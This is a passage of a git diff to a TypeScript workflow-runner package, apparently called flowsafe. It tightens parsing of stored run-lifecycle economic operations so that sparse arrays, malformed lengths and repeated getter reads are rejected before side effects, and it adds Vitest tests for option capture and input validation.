this.#reserveRunOwner(runId, source.owner, recovery.token); + await this.#reserveRunOwner(runId, owner, recovery.token); let summary: RunSummary; try { summary = await runtime.start(workflowId, { runId, - inputData: source.target - ? source.target.inputData - : body.inputData, - initialState: source.target - ? source.target.initialState - : body.initialState, - ...(source.target?.requestContext !== undefined - ? { storedRequestContext: source.target.requestContext } + inputData: resolvedInput, + initialState: resolvedState, + ...(storedRequestContext !== undefined + ? { storedRequestContext } : {}), requestedBy: principal.id, requestedByKind: principal.kind, attemptToken: recovery.token, + ...(mutationEpoch === undefined ? {} : { mutationEpoch }), + startIdentity, + runOwnerGuard: { owner, reservationToken: recovery.token }, + onPreparedStartIdentity: undefined, ...(idempotencyKey === undefined ? {} : { idempotencyKey }), - ...(body.deadlineMs === undefined + ...(deadlineMs === undefined ? {} - : { deadlineMs: body.deadlineMs as number }), + : { deadlineMs: deadlineMs as number }), }); } catch (error) { let persisted: RunSummary | null | undefined; @@ -1784,7 +1831,7 @@ export abstract class DurableObjectRunner { runId ) { this.#assertRunIdentity(workflowId, runId); - const principal = this.#trustedExecutionPrincipal(request); + const principal = this.#trustedExecutionPrincipal(encodedPrincipal); const runtime = this.#ensureRuntime(); const preflightOwner = await this.runOwnership(this.env).owner( 'run', @@ -1841,7 +1888,7 @@ export abstract class DurableObjectRunner { runId ) { this.#assertRunIdentity(workflowId, runId); - const principal = this.#trustedExecutionPrincipal(request); + const principal = this.#trustedExecutionPrincipal(encodedPrincipal); const body = (await readJson(request)) ?? {}; const cas: RunLifecycleCas = { expectedRevision: body.expectedRevision as number, diff --git a/packages/flowsafe/src/do-runner/run-lifecycle.test.ts b/packages/flowsafe/src/do-runner/run-lifecycle.test.ts index dc17d3dd..043c8de1 100644 --- a/packages/flowsafe/src/do-runner/run-lifecycle.test.ts +++ b/packages/flowsafe/src/do-runner/run-lifecycle.test.ts @@ -1,6 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 -import { describe, expect, it } from 'vitest'; +import { describe, expect, it, vi } from 'vitest'; import { canonicalEconomicOperations, canonicalReplayPrincipals, @@ -18,6 +18,162 @@ import { terminalCleanupFor, } from './run-lifecycle.js'; +describe('C dense economic-operation format', () => { + const entries = [ + { id: 'first', settlementState: 'settled' }, + { id: 'second', settlementState: 'held' }, + { id: 'third', settlementState: 'disputed' }, + ]; + + it.each([ + 'leading', + 'interior', + 'trailing', + 'all-hole', + ] as const)('C rejects sparse economic operations in the shared lifecycle parser: %s', (shape) => { + const operations = shape === 'all-hole' ? new Array(3) : [...entries]; + if (shape !== 'all-hole') + delete operations[{ leading: 0, interior: 1, trailing: 2 }[shape]]; + for (const read of [ + () => canonicalEconomicOperations(operations), + () => + parseRunLifecycle({ + version: 1, + revision: 1, + economicOperations: operations, + }), + ]) { + let error: unknown; + try { + read(); + } catch (cause) { + error = cause; + } + expect(error).toBeInstanceOf(Error); + expect(Object.getPrototypeOf(error)).toBe(Error.prototype); + expect(error).toEqual(new Error('stored run lifecycle is malformed')); + } + }); + + it.each([ + 'dense', + 'inherited', + 'empty', + ] as const)('C keeps dense and inherited economic data readable: %s', (shape) => { + const operations = shape === 'empty' ? [] : [...entries]; + if (shape === 'inherited') { + const prototype = Object.create(Array.prototype); + Object.defineProperty(prototype, '1', { value: entries[1] }); + Object.setPrototypeOf(operations, prototype); + delete operations[1]; + } + const expected = shape === 'empty' ? [] : entries; + const captured = canonicalEconomicOperations(operations); + expect(captured).toEqual(expected); + expect(captured).not.toBe(operations); + expect(Object.getPrototypeOf(captured)).toBe(Array.prototype); + const lifecycle = { version: 1, revision: 1, economicOperations: captured }; + expect(parseRunLifecycle(JSON.parse(JSON.stringify(lifecycle)))).toEqual( + lifecycle, + ); + expect(Object.isFrozen(operations)).toBe(false); + }); + + it('C shared economic parsing ignores caller methods and reads primitives once', () => { + const id = vi + .fn() + .mockReturnValueOnce('first') + .mockImplementation(() => { + throw new Error('second id read'); + }); + const settlementState = vi + .fn() + .mockReturnValueOnce('settled') + .mockImplementation(() => { + throw new Error('second state read'); + }); + const operations = [ + { + get id() { + return id(); + }, + get settlementState() { + return settlementState(); + }, + }, + ]; + const map = vi.fn(() => []); + const iterator = vi.fn(() => { + throw new Error('caller iterator'); + }); + Object.defineProperty(operations, 'map', { value: map }); + Object.defineProperty(operations, Symbol.iterator, { value: iterator }); + expect(canonicalEconomicOperations(operations)).toEqual([ + { id: 'first', settlementState: 'settled' }, + ]); + expect(id).toHaveBeenCalledTimes(1); + expect(settlementState).toHaveBeenCalledTimes(1); + expect(map).not.toHaveBeenCalled(); + expect(iterator).not.toHaveBeenCalled(); + }); + + it.each([ + null, + '1', + true, + -1, + 1.5, + NaN, + Infinity, + Number.MAX_SAFE_INTEGER, + ])('C shared economic parsing refuses malformed array length: %s', (length) => { + const operations = new Proxy([...entries], { + get(target, key, receiver) { + return key === 'length' ? length : Reflect.get(target, key, receiver); + }, + }); + let error: unknown; + try { + canonicalEconomicOperations(operations); + } catch (cause) { + error = cause; + } + expect(error).toBeInstanceOf(Error); + expect(Object.getPrototypeOf(error)).toBe(Error.prototype); + expect(error).toEqual(new Error('stored run lifecycle is malformed')); + }); + + it('C shared economic parsing preserves first getter faults and avoids array species', () => { + const fault = new Error('first economic id read'); + const operations = [ + { + get id(): string { + throw fault; + }, + settlementState: 'held', + }, + ]; + let error: unknown; + try { + canonicalEconomicOperations(operations); + } catch (cause) { + error = cause; + } + expect(error).toBe(fault); + const species = vi.fn(); + class Operations extends Array<(typeof entries)[number]> { + static get [Symbol.species]() { + species(); + return Array; + } + } + expect(canonicalEconomicOperations(new Operations(...entries))).toEqual( + entries, + ); + expect(species).not.toHaveBeenCalled(); + }); +}); + const MAX_REVISION = Number.MAX_SAFE_INTEGER; function recordedIntent( diff --git a/packages/flowsafe/src/do-runner/run-lifecycle.ts b/packages/flowsafe/src/do-runner/run-lifecycle.ts index 8d228dd6..b5cd9aeb 100644 --- a/packages/flowsafe/src/do-runner/run-lifecycle.ts +++ b/packages/flowsafe/src/do-runner/run-lifecycle.ts @@ -155,22 +155,27 @@ function economicOperations( if (value === undefined) return undefined; if (!Array.isArray(value)) throw new Error('stored run lifecycle is malformed'); - return value.map((entry) => { - const operation = record(entry); + const length = value.length; + if (!Number.isSafeInteger(length) || length < 0 || length > 0xffff_ffff) { + throw new Error('stored run lifecycle is malformed'); + } + const operations: RunEconomicOperation[] = []; + for (let index = 0; index < length; index++) { + if (!(index in value)) throw new Error('stored run lifecycle is malformed'); + const operation = record(value[index]); + if (!operation) throw new Error('stored run lifecycle is malformed'); + const { id, settlementState } = operation; if ( - !operation || - !isPathSafeId(operation.id) || - typeof operation.settlementState !== 'string' || - operation.settlementState.length === 0 || - operation.settlementState.length > 100 + !isPathSafeId(id) || + typeof settlementState !== 'string' || + settlementState.length === 0 || + settlementState.length > 100 ) { throw new Error('stored run lifecycle is malformed'); } - return { - id: operation.id, - settlementState: operation.settlementState, - }; - }); + operations.push({ id, settlementState }); + } + return operations; } function scheduleDispatch(value: unknown): RunScheduleDispatch | undefined { diff --git a/packages/flowsafe/src/do-runner/runtime.test.ts b/packages/flowsafe/src/do-runner/runtime.test.ts index e6efc303..5575caf6 100644 --- a/packages/flowsafe/src/do-runner/runtime.test.ts +++ b/packages/flowsafe/src/do-runner/runtime.test.ts @@ -5,7 +5,22 @@ import { InMemoryStore } from '@mastra/core/storage'; import { describe, expect, it, vi } from 'vitest'; import { z } from 'zod'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; +import { createBackgroundTaskD1Domains } from '../background-tasks/d1-storage.js'; import type { D1DatabaseBinding } from './cf-types.js'; +import { createD1Storage } from './d1-storage.js'; +import { + InvalidExecutionIdentityError, + InvalidMutationEpochError, +} from './execution-admission.js'; +import { + type ExecutionFenceDatabase, + ExecutionFenceStore, +} from './execution-fence.js'; +import { + FENCED_WORKFLOW_STORAGE, + type FencedWorkflowAdmissionCapability, +} from './fenced-workflow-capability.js'; +import type { FencedWorkflowsStorageD1 } from './fenced-workflows-d1.js'; import { RunStateUnreadableError as BarrelRunStateUnreadableError } from './index.js'; import { init } from './init.js'; import { createHostPubSub } from './pubsub.js'; @@ -23,6 +38,7 @@ import { type RunnerRuntime, RunStateUnreadableError, type RunSummary, + type StartRunOptions, UnknownWorkflowError, } from './runtime.js'; import { @@ -122,6 +138,997 @@ function buildRuntime(storage: InMemoryStore): { return { runtime, counters }; } +function cDeferred() { + let resolve!: () => void; + const promise = new Promise((done) => { + resolve = done; + }); + return { promise, resolve }; +} + +async function cOwnedRuntime( + domain: 'default' | 'background' = 'default', + provider?: RequestContextProvider, +) { + const sql = openSqlite() as ReturnType & { close(): void }; + const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase; + const db = binding as D1DatabaseBinding; + const storage = createD1Storage({ + binding: db, + ...(domain === 'background' + ? { domains: createBackgroundTaskD1Domains({ binding: db }) } + : {}), + }); + await storage.init(); + const fence = new ExecutionFenceStore(binding); + await fence.seed('open'); + for (let index = 0; index < 2; index++) { + const before = await fence.read(); + const draining = await fence.transition({ + expected: 'open', + next: 'draining', + expectedMutationEpoch: before.mutationEpoch, + expectedRevision: before.transitionRevision, + advanceMutationEpoch: true, + }); + await fence.transition({ + expected: 'draining', + next: 'open', + expectedMutationEpoch: draining.mutationEpoch, + expectedRevision: draining.transitionRevision, + }); + } + const workflows = (await storage.getStore( + 'workflows', + )) as FencedWorkflowsStorageD1; + const native = workflows[FENCED_WORKFLOW_STORAGE]; + if (!native) throw new Error('missing owned capability'); + const counts = { admission: 0, terminalization: 0, callback: 0 }; + const capability: FencedWorkflowAdmissionCapability = { + ...native, + withInitialAdmission: (input, create) => { + counts.admission++; + return native.withInitialAdmission(input, create); + }, + terminalizeInitialAdmission: (input) => { + counts.terminalization++; + return native.terminalizeInitialAdmission(input); + }, + }; + Object.defineProperty(workflows, FENCED_WORKFLOW_STORAGE, { + value: capability, + configurable: true, + }); + const app = init( + { storage }, + { + startIdempotency: 'none', + executionFence: fence, + requestContextForRun: provider, + }, + ); + const execute = vi.fn( + async ({ inputData }: { inputData: { value: string } }) => inputData, + ); + const workflow = app + .createWorkflow({ + id: 'c-workflow', + inputSchema: z.object({ value: z.string() }), + outputSchema: z.object({ value: z.string() }), + stateSchema: z.object({ flag: z.string().optional() }), + }) + .then( + app.createStep({ + id: 'c-step', + inputSchema: z.object({ value: z.string() }), + outputSchema: z.object({ value: z.string() }), + execute, + }), + ) + .commit(); + const callback = () => { + counts.callback++; + }; + return { + ...app, + sql, + storage, + workflows, + fence, + counts, + workflow, + execute, + callback, + }; +} + +function cOptions(runId = 'c-run'): StartRunOptions { + return { + runId, + inputData: { value: 'original' }, + initialState: { flag: 'original' }, + storedRequestContext: { 'test.c': 'original' }, + attemptToken: 'attempt-original', + deadlineMs: 50, + economicOperations: [ + { id: 'operation-original', settlementState: 'settled' }, + ], + scheduleDispatch: { + scheduleId: 'schedule-original', + dispatchId: 'dispatch-original', + }, + idempotencyKey: 'key-original', + requestedBy: 'operator-1', + requestedByKind: 'human', + mutationEpoch: 2, + startIdentity: { + owner: { kind: 'human', id: 'operator-1' }, + target: { kind: 'workflow', id: 'c-workflow' }, + }, + agentStart: { threaded: false }, + onPreparedStartIdentity: vi.fn(), + runOwnerGuard: { + owner: { kind: 'service', id: 'resource-owner' }, + reservationToken: 'reservation-original', + }, + }; +} + +function cPrimitive( + value: string, + mode: 'stable' | 'alternating' | 'second-throw', +) { + return vi + .fn<() => string>() + .mockReturnValueOnce(value) + .mockImplementation(() => { + if (mode === 'second-throw') throw new Error('second primitive read'); + return mode === 'alternating' ? '' : value; + }); +} + +function cObservedOptions(values: StartRunOptions) { + const getters = Object.fromEntries( + Object.entries(values).map(([key, value]) => [key, vi.fn(() => value)]), + ); + const source = {} as StartRunOptions; + for (const [key, get] of Object.entries(getters)) + Object.defineProperty(source, key, { + get, + configurable: true, + enumerable: false, + }); + return { source, getters }; +} + +type CEconomicShape = + | 'leading' + | 'interior' + | 'trailing' + | 'all-hole' + | 'dense' + | 'inherited' + | 'empty'; + +function cEconomicArray(shape: CEconomicShape) { + const operations: Array<{ id: string; settlementState: string }> = + shape === 'all-hole' + ? new Array(3) + : shape === 'empty' + ? [] + : [ + { id: 'first', settlementState: 'settled' }, + { id: 'second', settlementState: 'held' }, + { id: 'third', settlementState: 'disputed' }, + ]; + if (shape === 'inherited') { + const prototype = Object.create(Array.prototype); + Object.defineProperty(prototype, '1', { value: operations[1] }); + Object.setPrototypeOf(operations, prototype); + delete operations[1]; + } else if ( + shape === 'leading' || + shape === 'interior' || + shape === 'trailing' + ) { + delete operations[{ leading: 0, interior: 1, trailing: 2 }[shape]]; + } + return operations; +} + +describe('C economic format safety', () => { + it.each( + (['default', 'background'] as const).flatMap((domain) => + (['leading', 'interior', 'trailing', 'all-hole'] as const).map( + (shape) => ({ domain, shape }), + ), + ), + )('C refuses sparse economic operations before start effects ($domain, $shape)', async ({ + domain, + shape, + }) => { + const provider = vi.fn(() => ({})); + const f = await cOwnedRuntime(domain, provider); + const read = vi.spyOn(f.fence, 'read'); + const create = vi.spyOn(f.workflow, 'createRun'); + const persist = vi.spyOn(f.workflows, 'persistWorkflowSnapshot'); + try { + const error = await f.runtime + .start('c-workflow', { + ...cOptions(), + economicOperations: cEconomicArray(shape), + }) + .catch((cause: unknown) => cause); + expect(error).toBeInstanceOf(Error); + expect(Object.getPrototypeOf(error)).toBe(Error.prototype); + expect(error).toEqual(new Error('stored run lifecycle is malformed')); + expect(read).not.toHaveBeenCalled(); + expect(provider).not.toHaveBeenCalled(); + expect(create).not.toHaveBeenCalled(); + expect(persist).not.toHaveBeenCalled(); + expect(f.execute).not.toHaveBeenCalled(); + expect( + await f.workflows.loadWorkflowSnapshot({ + workflowName: 'c-workflow', + runId: 'c-run', + }), + ).toBeNull(); + } finally { + f.sql.close(); + } + }); + + it('C refuses sparse capture before reading later economic entries', async () => { + const f = await cOwnedRuntime(); + const later = vi.fn(() => { + throw new Error('later entry must not be read'); + }); + const operations = new Array(2); + operations[1] = { + get id() { + return later(); + }, + settlementState: 'held', + }; + try { + const error = await f.runtime + .start('c-workflow', { ...cOptions(), economicOperations: operations }) + .catch((cause: unknown) => cause); + expect(error).toEqual(new Error('stored run lifecycle is malformed')); + expect(later).not.toHaveBeenCalled(); + expect(f.execute).not.toHaveBeenCalled(); + } finally { + f.sql.close(); + } + }); + + it.each( + (['default', 'background'] as const).flatMap((domain) => + (['dense', 'inherited', 'empty'] as const).map((shape) => ({ + domain, + shape, + })), + ), + )('C round-trips dense economic arrays on owned storage ($domain, $shape)', async ({ + domain, + shape, + }) => { + const f = await cOwnedRuntime(domain); + const operations = cEconomicArray(shape); + const expected = JSON.parse(JSON.stringify(operations)); + try { + await expect( + f.runtime.start('c-workflow', { + ...cOptions(), + economicOperations: operations, + }), + ).resolves.toMatchObject({ status: 'success' }); + const snapshot = await f.workflows.loadWorkflowSnapshot({ + workflowName: 'c-workflow', + runId: 'c-run', + }); + expect(snapshot?.requestContext?.['flowsafe.runLifecycle']).toMatchObject( + { economicOperations: expected }, + ); + expect((await f.runtime.status('c-workflow', 'c-run'))?.status).toBe( + 'success', + ); + expect(f.execute).toHaveBeenCalledOnce(); + } finally { + f.sql.close(); + } + }); + + it.each( + (['default', 'background'] as const).flatMap((domain) => + (['leading', 'interior', 'trailing', 'all-hole'] as const).map( + (shape) => ({ domain, shape }), + ), + ), + )('C sparse resume preserves the readable suspended snapshot ($domain, $shape)', async ({ + domain, + shape, + }) => { + const provider = vi.fn(() => ({})); + const f = await cOwnedRuntime(domain, provider); + const resumed = vi.fn(); + const schema = z.object({ value: z.string() }); + const workflow = f + .createWorkflow({ + id: 'c-sparse-resume', + inputSchema: schema, + outputSchema: schema, + }) + .then( + f.createStep({ + id: 'gate', + inputSchema: schema, + outputSchema: schema, + suspendSchema: z.object({}), + resumeSchema: z.object({ ok: z.boolean() }), + execute: async ({ inputData, resumeData, suspend }) => { + if (!resumeData) return suspend({}); + resumed(); + return inputData; + }, + }), + ) + .commit(); + try { + expect( + ( + await f.runtime.start(workflow.id, { + runId: 'resume-run', + inputData: { value: 'original' }, + }) + ).status, + ).toBe('suspended'); + const before = await f.workflows.loadWorkflowSnapshot({ + workflowName: workflow.id, + runId: 'resume-run', + }); + const create = vi.spyOn(workflow, 'createRun'); + const persist = vi.spyOn(f.workflows, 'persistWorkflowSnapshot'); + provider.mockClear(); + const error = await f.runtime + .resume(workflow.id, 'resume-run', { + step: 'gate', + resumeData: { ok: true }, + economicOperations: cEconomicArray(shape), + }) + .catch((cause: unknown) => cause); + expect(error).toBeInstanceOf(Error); + expect(Object.getPrototypeOf(error)).toBe(Error.prototype); + expect(error).toEqual(new Error('stored run lifecycle is malformed')); + expect(provider).not.toHaveBeenCalled(); + expect(create).not.toHaveBeenCalled(); + expect(persist).not.toHaveBeenCalled(); + expect(resumed).not.toHaveBeenCalled(); + expect( + await f.workflows.loadWorkflowSnapshot({ + workflowName: workflow.id, + runId: 'resume-run', + }), + ).toEqual(before); + expect((await f.runtime.status(workflow.id, 'resume-run'))?.status).toBe( + 'suspended', + ); + expect( + ( + await f.runtime.resume(workflow.id, 'resume-run', { + step: 'gate', + resumeData: { ok: true }, + economicOperations: cEconomicArray('dense'), + }) + ).status, + ).toBe('success'); + } finally { + f.sql.close(); + } + }); +}); + +describe('C Runtime capture', () => { + it.each( + (['default', 'background'] as const).flatMap((domain) => + [undefined, 1, 2, 3].map((epoch) => ({ domain, epoch })), + ), + )('C does not enforce active mutation epoch at Runtime start ($domain, $epoch)', async ({ + domain, + epoch, + }) => { + const f = await cOwnedRuntime(domain); + try { + expect(await f.fence.read()).toMatchObject({ + state: 'open', + mutationEpoch: 2, + requireMutationEpoch: true, + }); + const runId = `epoch-${epoch ?? 'missing'}`; + const options = { + ...cOptions(runId), + onPreparedStartIdentity: f.callback, + }; + if (epoch === undefined) + delete (options as { mutationEpoch?: number }).mutationEpoch; + else Object.assign(options, { mutationEpoch: epoch }); + await expect( + f.runtime.start('c-workflow', options), + ).resolves.toMatchObject({ status: 'success' }); + const snapshot = await f.workflows.loadWorkflowSnapshot({ + workflowName: 'c-workflow', + runId, + }); + expect(snapshot?.requestContext?.['flowsafe.runProvenance']).toEqual({ + version: 1, + requestedBy: 'operator-1', + requestedByKind: 'human', + startToken: 'attempt-original', + attemptToken: 'attempt-original', + resumeCounts: [], + }); + for (const key of [ + 'mutationEpoch', + 'startIdentity', + 'agentStart', + 'execution', + 'onPreparedStartIdentity', + 'runOwnerGuard', + 'flowsafe.initialAdmission', + ]) + expect(snapshot?.requestContext).not.toHaveProperty(key); + expect(f.execute).toHaveBeenCalledOnce(); + expect(f.counts).toEqual({ + callback: 0, + admission: 0, + terminalization: 0, + }); + } finally { + f.sql.close(); + } + }); + + for (const [title, counter] of [ + [ + 'C never invokes the prepared callback in normal failure or recovery paths', + 'callback', + ], + ['C never automatically admits through the owned capability', 'admission'], + ['C never automatically terminalizes initial admission', 'terminalization'], + ] as const) { + it.each([ + 'default', + 'background', + ] as const)(`${title} (%s)`, async (domain) => { + let failProvider = false; + const failure = new Error('C provider failure'); + const f = await cOwnedRuntime(domain, () => { + if (failProvider) throw failure; + return {}; + }); + try { + for (const phase of [ + 'normal', + 'failure', + 'recovery', + 'failed-step', + ] as const) { + const create = f.workflow.createRun.bind(f.workflow); + let restore = () => {}; + if (phase === 'recovery') { + const spy = vi + .spyOn(f.workflow, 'createRun') + .mockImplementation(async (...args) => { + const run = await create(...args); + const start = run.start.bind(run); + vi.spyOn(run, 'start').mockImplementation( + async (...startArgs) => { + await start(...startArgs); + throw new Error('lost start result'); + }, + ); + return run; + }); + restore = () => spy.mockRestore(); + } + if (phase === 'failed-step') + f.execute.mockRejectedValueOnce(new Error('step failed')); + failProvider = phase === 'failure'; + const runId = `c-${phase}`; + let outcome: RunSummary | undefined; + try { + const pending = f.runtime.start('c-workflow', { + ...cOptions(runId), + onPreparedStartIdentity: f.callback, + }); + if (phase === 'failure') + await expect(pending).rejects.toBe(failure); + else outcome = await pending; + } finally { + restore(); + expect(f.counts[counter]).toBe(0); + expect(f.counts).toEqual({ + callback: 0, + admission: 0, + terminalization: 0, + }); + } + const snapshot = await f.workflows.loadWorkflowSnapshot({ + workflowName: 'c-workflow', + runId, + }); + if (phase === 'failure') expect(snapshot).toBeNull(); + else { + expect(outcome?.status).toBe( + phase === 'failed-step' ? 'failed' : 'success', + ); + expect( + snapshot?.requestContext?.['flowsafe.runProvenance'], + ).toEqual({ + version: 1, + requestedBy: 'operator-1', + requestedByKind: 'human', + startToken: 'attempt-original', + attemptToken: 'attempt-original', + resumeCounts: [], + }); + expect(snapshot?.requestContext).not.toHaveProperty( + 'flowsafe.initialAdmission', + ); + expect((await f.runtime.status('c-workflow', runId))?.status).toBe( + outcome?.status, + ); + } + } + } finally { + f.sql.close(); + } + }); + } + + it('C captures Runtime options before the fence wait', async () => { + const providerEntered = cDeferred(); + const providerRelease = cDeferred(); + const f = await cOwnedRuntime('default', async () => { + providerEntered.resolve(); + await providerRelease.promise; + return {}; + }); + const entered = cDeferred(); + const release = cDeferred(); + const read = f.fence.read.bind(f.fence); + const fenceRead = vi + .spyOn(f.fence, 'read') + .mockImplementationOnce(async () => { + entered.resolve(); + await release.promise; + return read(); + }); + const clock = vi.spyOn(Date, 'now').mockReturnValue(1000); + const { source, getters } = cObservedOptions(cOptions()); + const pending = f.runtime.start('c-workflow', source); + void pending.catch(() => undefined); + try { + await entered.promise; + for (const getter of Object.values(getters)) + expect(getter).toHaveBeenCalledTimes(1); + expect(f.execute).not.toHaveBeenCalled(); + for (const getter of Object.values(getters)) + getter.mockImplementation(() => { + throw new Error('late Runtime option read'); + }); + clock.mockReturnValue(2000); + release.resolve(); + await providerEntered.promise; + clock.mockReturnValue(3000); + providerRelease.resolve(); + expect(await pending).toMatchObject({ + runId: 'c-run', + status: 'success', + requestedBy: 'operator-1', + deadlineAt: 2050, + }); + const snapshot = await f.workflows.loadWorkflowSnapshot({ + workflowName: 'c-workflow', + runId: 'c-run', + }); + expect(snapshot?.requestContext).toMatchObject({ + 'test.c': 'original', + 'flowsafe.runLifecycle': { + deadlineAt: 2050, + scheduleDispatch: { + scheduleId: 'schedule-original', + dispatchId: 'dispatch-original', + }, + economicOperations: [ + { id: 'operation-original', settlementState: 'settled' }, + ], + }, + }); + expect(f.execute.mock.calls[0]?.[0].inputData).toEqual({ + value: 'original', + }); + for (const getter of Object.values(getters)) + expect(getter).toHaveBeenCalledTimes(1); + expect(Object.isFrozen(source)).toBe(false); + } finally { + release.resolve(); + providerRelease.resolve(); + await pending.catch(() => undefined); + clock.mockRestore(); + fenceRead.mockRestore(); + f.sql.close(); + } + }); + + it('C captures Runtime options before waiting for the run lock', async () => { + const entered = cDeferred(); + const release = cDeferred(); + const f = await cOwnedRuntime('default', async () => { + entered.resolve(); + await release.promise; + return {}; + }); + const first = f.runtime.start('c-workflow', cOptions()); + void first.catch(() => undefined); + await entered.promise; + const queued = cDeferred(); + const nativeSet = Map.prototype.set; + const set = vi.spyOn(Map.prototype, 'set').mockImplementation(function ( + this: Map, + key, + value, + ) { + if (key === 'c-workflow:c-run' && value instanceof Promise) + queued.resolve(); + return nativeSet.call(this, key, value); + }); + const { source, getters } = cObservedOptions(cOptions()); + const second = f.runtime.start('c-workflow', source); + void second.catch(() => undefined); + try { + await queued.promise; + for (const getter of Object.values(getters)) + expect(getter).toHaveBeenCalledTimes(1); + for (const getter of Object.values(getters)) + getter.mockImplementation(() => { + throw new Error('late lock option read'); + }); + expect(f.execute).not.toHaveBeenCalled(); + release.resolve(); + expect((await first).status).toBe('success'); + await expect(second).rejects.toBeInstanceOf(RunAlreadyExistsError); + for (const getter of Object.values(getters)) + expect(getter).toHaveBeenCalledTimes(1); + } finally { + release.resolve(); + await Promise.allSettled([first, second]); + set.mockRestore(); + f.sql.close(); + } + }); + + it.each([ + ['epoch', { mutationEpoch: -1 }, InvalidMutationEpochError], + ['identity', { startIdentity: null }, InvalidExecutionIdentityError], + [ + 'target', + { + startIdentity: { + owner: { kind: 'human', id: 'operator-1' }, + target: { kind: 'workflow', id: 'other' }, + }, + }, + InvalidRunRequestError, + ], + [ + 'owner', + { + startIdentity: { + owner: { kind: 'service', id: 'other' }, + target: { kind: 'workflow', id: 'c-workflow' }, + }, + }, + InvalidRunRequestError, + ], + ['mode', { agentStart: { threaded: 'yes' } }, InvalidRunRequestError], + [ + 'agent-mode', + { + startIdentity: { + owner: { kind: 'human', id: 'operator-1' }, + target: { kind: 'agent', id: 'writer', threadId: 'thread' }, + }, + agentStart: undefined, + }, + InvalidRunRequestError, + ], + ['callback', { onPreparedStartIdentity: null }, InvalidRunRequestError], + [ + 'guard', + { + runOwnerGuard: { + owner: { kind: 'other', id: 'owner' }, + reservationToken: 'token', + }, + }, + InvalidRunRequestError, + ], + ['requester', { requestedByKind: undefined }, InvalidRunRequestError], + ['deadline', { deadlineMs: -1 }, InvalidRunRequestError], + ['dispatch', { scheduleDispatch: [] }, Error], + ['operations', { economicOperations: [null] }, Error], + ] as const)('C validates supplied fields before fence and storage (%s)', async (_label, changes, errorType) => { + const f = await cOwnedRuntime(); + const read = vi.spyOn(f.fence, 'read'); + const create = vi.spyOn(f.workflow, 'createRun'); + try { + const error = await f.runtime + .start('c-workflow', { + ...cOptions(), + ...changes, + } as StartRunOptions) + .catch((cause: unknown) => cause); + expect(error).toBeInstanceOf(errorType); + expect(Object.getPrototypeOf(error)).toBe(errorType.prototype); + if (errorType === Error) + expect(error).toEqual(new Error('stored run lifecycle is malformed')); + expect(read).not.toHaveBeenCalled(); + expect(create).not.toHaveBeenCalled(); + expect(f.execute).not.toHaveBeenCalled(); + } finally { + read.mockRestore(); + create.mockRestore(); + f.sql.close(); + } + }); + + it.each([ + ['dispatch-null', { scheduleDispatch: null }], + ['dispatch-array', { scheduleDispatch: [] }], + [ + 'schedule-empty', + { scheduleDispatch: { scheduleId: '', dispatchId: 'dispatch' } }, + ], + [ + 'schedule-number', + { scheduleDispatch: { scheduleId: 2, dispatchId: 'dispatch' } }, + ], + [ + 'dispatch-null-id', + { scheduleDispatch: { scheduleId: 'schedule', dispatchId: null } }, + ], + [ + 'dispatch-path', + { scheduleDispatch: { scheduleId: 'schedule', dispatchId: 'bad/path' } }, + ], + ['operations-object', { economicOperations: {} }], + ['operation-null', { economicOperations: [null] }], + ['operation-array', { economicOperations: [[]] }], + [ + 'operation-empty-id', + { economicOperations: [{ id: '', settlementState: 'held' }] }, + ], + [ + 'operation-number-id', + { economicOperations: [{ id: 2, settlementState: 'held' }] }, + ], + [ + 'operation-path-id', + { economicOperations: [{ id: 'bad/path', settlementState: 'held' }] }, + ], + [ + 'state-null', + { economicOperations: [{ id: 'operation', settlementState: null }] }, + ], + [ + 'state-boolean', + { economicOperations: [{ id: 'operation', settlementState: true }] }, + ], + [ + 'state-empty', + { economicOperations: [{ id: 'operation', settlementState: '' }] }, + ], + [ + 'state-long', + { + economicOperations: [ + { id: 'operation', settlementState: 'x'.repeat(101) }, + ], + }, + ], + ] as const)('C rejects malformed lifecycle input with the exact legacy error before effects: %s', async (_label, changes) => { + const provider = vi.fn(() => ({})); + const f = await cOwnedRuntime('default', provider); + const read = vi.spyOn(f.fence, 'read'); + const create = vi.spyOn(f.workflow, 'createRun'); + const persist = vi.spyOn(f.workflows, 'persistWorkflowSnapshot'); + try { + const error = await f.runtime + .start('c-workflow', { ...cOptions(), ...changes } as StartRunOptions) + .catch((cause: unknown) => cause); + expect(error).toBeInstanceOf(Error); + expect(Object.getPrototypeOf(error)).toBe(Error.prototype); + expect(error).toEqual(new Error('stored run lifecycle is malformed')); + expect(read).not.toHaveBeenCalled(); + expect(provider).not.toHaveBeenCalled(); + expect(create).not.toHaveBeenCalled(); + expect(persist).not.toHaveBeenCalled(); + expect(f.execute).not.toHaveBeenCalled(); + } finally { + f.sql.close(); + } + }); + + it.each([ + null, + '1', + true, + -1, + 1.5, + NaN, + Infinity, + Number.MAX_SAFE_INTEGER, + ])('C rejects malformed economic array length before effects: %s', async (length) => { + const provider = vi.fn(() => ({})); + const f = await cOwnedRuntime('default', provider); + const read = vi.spyOn(f.fence, 'read'); + const create = vi.spyOn(f.workflow, 'createRun'); + const operations = new Proxy(cEconomicArray('dense'), { + get(target, key, receiver) { + return key === 'length' ? length : Reflect.get(target, key, receiver); + }, + }); + try { + const error = await f.runtime + .start('c-workflow', { ...cOptions(), economicOperations: operations }) + .catch((cause: unknown) => cause); + expect(error).toBeInstanceOf(Error); + expect(Object.getPrototypeOf(error)).toBe(Error.prototype); + expect(error).toEqual(new Error('stored run lifecycle is malformed')); + expect(read).not.toHaveBeenCalled(); + expect(provider).not.toHaveBeenCalled(); + expect(create).not.toHaveBeenCalled(); + expect(f.execute).not.toHaveBeenCalled(); + } finally { + f.sql.close(); + } + }); + + it('C keeps unattributed unkeyed starts and first getter faults without effects', async () => { + const f = await cOwnedRuntime(); + const read = vi.spyOn(f.fence, 'read'); + const fault = new Error('first Runtime read'); + try { + await expect( + f.runtime.start('c-workflow', { + get runId(): string { + throw fault; + }, + }), + ).rejects.toBe(fault); + for (const changes of [ + { + scheduleDispatch: { + get scheduleId(): string { + throw fault; + }, + dispatchId: 'dispatch', + }, + }, + { + economicOperations: [ + { + get id(): string { + throw fault; + }, + settlementState: 'settled', + }, + ], + }, + ]) + await expect( + f.runtime.start('c-workflow', { ...cOptions(), ...changes }), + ).rejects.toBe(fault); + expect(read).not.toHaveBeenCalled(); + expect( + ( + await f.runtime.start('c-workflow', { + runId: 'unattributed', + inputData: { value: 'plain' }, + }) + ).status, + ).toBe('success'); + } finally { + 